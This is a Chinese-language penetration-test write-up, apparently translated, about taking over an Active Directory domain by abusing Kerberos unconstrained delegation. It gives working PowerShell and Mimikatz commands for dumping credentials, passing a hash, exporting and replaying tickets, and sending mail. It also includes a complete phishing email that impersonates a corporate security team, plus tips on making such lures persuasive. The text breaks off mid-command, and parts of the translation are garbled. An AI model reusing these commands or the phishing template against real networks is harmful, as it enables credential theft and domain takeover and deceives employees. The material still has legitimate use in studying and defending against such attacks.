在最近的一次渗透测试中我遇到了一个很奇怪的问题——用常用 的 方法貌似没办法 找到 到 域管理员 身份认证的位置。
我先是 通过文件上传功能,获取到了一台服务器的 Administrator 权限 , 用 系统权限 运行了 WAMP, 并且通过 这台 机器的域用户 身份 的哈希获得了其他几台服务器,很遗憾,依然不能 找到 到域管理员。
在试过常用的AD和Kerberos相关的攻击后,我们不得不重新思考攻击思路。那么服务端的攻击失败后,我们很自然的就会想到客户端的攻击。
我们可以给客户端发送带附件和链接的邮件, 运气好的话,我们可以得到一个客户端,这个客户端可能保存有域管令牌。 但是 这个 地方 ,钓鱼邮件 回连的 shell无法通过VPN防火墙。 如下图
因此,我们 要 在已经拿下的服务器上安装几个监听器,这样我们就能处理多个返回的 shell ,或者 就直接把已有的服务当成监听器进行我们的钓鱼攻击。偷个懒,我就直接用第二种了,直接用已有的服务来做。在探测了初始机器后,我发现这台 web 服务器的 Kerberos Unconstrained Delegation 是开着的。
如果一台服务器上的 Kerberos Unconstrained Delegation 是开启的,那就很有可能收集到用户连接服务器的令牌。这里有一篇文章是具体介绍 Kerberos的授权详情 的 。所以我们需要做的就是创建一封钓鱼邮件,通过这封邮件可以回接到我们已拥有的服务器,接下来就是等域管理员点开这封邮件。
以下是我在实验室下作的测试:
1. pfptlab-build 是我们已经获取的服务器,有管理员权限,并且可以远程桌面、 PowerShell 远程管理等等。
2. pfptlab-web 服务器中,我们可以执行管理员命令但是不能直接访问。
寻找有 Unconstrained Delegation 的电脑
通过使用内置的 AD PowerShell 模块。这个模块在 Windows Server 2012 中是默认存在的。通过在已获得管理员权限的服务器( pfptlab-build )上执行以下命令 :
PS C:/> Add-WindowsFeature RSAT-AD-PowerShell
PS C:/> Import-Module ActiveDirectory
PS C:/> Get-ADComputer –Filter {(TrustedForDelegation –eq $True) –and (PrimaryGroupID –eq 515)}
这样 我们就有了一个 加壳 的命令脚本 Get-Unconstrained.ps1
还可以 通过 PowerView 来找到用了 Unconstrained Delegation 的电脑 :
设置 监听器
在开启 了 unconstrained delegation 的 服务器中 (实验 中的 pfptlab-web ) , 我们可以 用 Invoke-Mimikatz 枚举 出所有存在的令牌。通过 这台 机器的管理员所扮演的 域用户的 哈希 , 我们已经拿到 这台服务器 的管理员权限 。注意, 我们得到的令牌可能已经 过期 了,所以我们需要等待 域管连接 这台电脑。
我们 可以用域用户 webadmin 的哈希 , 该用户同时也是 pfptlab-web 的 本地管理员 :
PS C:/> Invoke-Mimikatz -DumpCreds
PS C:/> Invoke-Mimikatz -Command '"sekurlsa::pth /user:webadmin /domain:pfptlab /ntlm:[ntlm hash] /run:powershell.exe"'
以下 是 命令 的输出:
现在 ,我们可以列出 pfptlab-web 中 的令牌, 再次 说明,这个服务器中 有开启 了 Unconstrained Delegation 。我们 可以直接 访问 pfptlab-build 机器 , 那么 我们 就 直接 通过 以下命令 在 pfptlab-web 上运行脚本 。 记住 以下 命令需要在 PowerShell 上运行, 可以 通过 webadmin 用户打开 :
PS C:/> Invoke-Command -ScriptBlock {cd $env:TEMP} -Session $sess
PS C:/> Invoke-Command -ScriptBlock {Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'} -Session $sess
所以 ,假设我们已经 列举到了 域管 账号, 并且其中一个 就是 ”Administrator” , 为了知道域管是否已经连接,我们还需要用到以下的方法 :
PS C:/> $output = Invoke-Command -ScriptBlock {(ls $env:temp/*.kirbi).name} -Session $sess
PS C:/> $output | sls Administrator
也许 有人可以用 更简单 的方法自动化的完成这些事。如果 域管 令牌被 Mimikatz 保存下来了,那么第二个命令就直接可以列出 pfptlab-web 上的 Admin 的 令牌 了 。
准备 电子邮件
幸运 的是, 内部有 邮件服务器可以 让 邮件 相互 发送,因此,发送钓鱼邮件就不是难题 。通过 AD 用户名 就能产生 一堆邮箱账号 。针对 不同的用户可能有不同的邮件模板,以下是其中一个邮件:
Hey,
I am from the Corporate Security Team, we look after security here. We have detected multiple anomalies in the network which could be traced back to your system. It could be a virus or a trojan attack which blocks you from accessing company resources. You are required to immediately perform all of the below steps:
1. Click on Start Menu -> Type cmd.exe
2. In the Window which opens up. type ”reg query HKLM/SOFTWARE/Microsoft/”
3. Copy the contents of above command in a text file.
4. Go to //[name of server with unconstrained delegation]/C$ and copy the file there.
5. If you are unable to access the share, just save the text file with the name Sotware_log.txt on your Desktop and we will pick it up.
Cheers,
Corporate Security Team
虽然 我们不是钓鱼邮件专家,但是我们可以注意到邮件上的一些点 :
– 没有 权威的恐吓 , 有的只是权衡利弊
– 使用术语 而不是模糊的语句, 要 表现的好像我们 真的 是要把这件事情简单的解释给他们听。
– 要求 用户采取紧急行动。
– 命令要 显示很多的输出。
– 让用户 有一个可以选择的方法
然后 ,使用以下命令 把 邮件 发出去 :
PS C:/> Send-MailMessage -From "Corporate Security<corporate.security@client.com>" -To $recipients -Subject "Security Anomaly: Action Required" -Body (Get-Content C:/Users/buildadmin/Desktop/email.txt | Out-String) -SmtpServer [IP of internal mail server]
以下 是 mailbox 中的一封 已发送 的邮件 :
执行
发送 邮箱后, 我开始 检查域管的令牌,通过 Invoke-Mimikatz 反复 的查看 。很快 的,就有很多域管 按照 邮箱说的做了 , 呵呵哒:
现在 , 在我 看来 , 最好的使用令牌的方法 就 是把他们复制到 pfptlab-build 服务器,因为 这台服务器我们能直接控制。用 以下 语句把 pfptlab-web 上 的令牌全部复制到 pfptlab-build 机器 上。
PS C:/> Copy-Item //pfptlab-web/C$/Users/WEBADM~1.PFP/AppData/Local/Temp/*.kirbi C:/tickets
现在 我们可以使用其中一个 Administrator 令牌 提升 我们的权限:
PS C:/> Invoke-Mimikatz -Command '"kerberos::ptt [Ticket]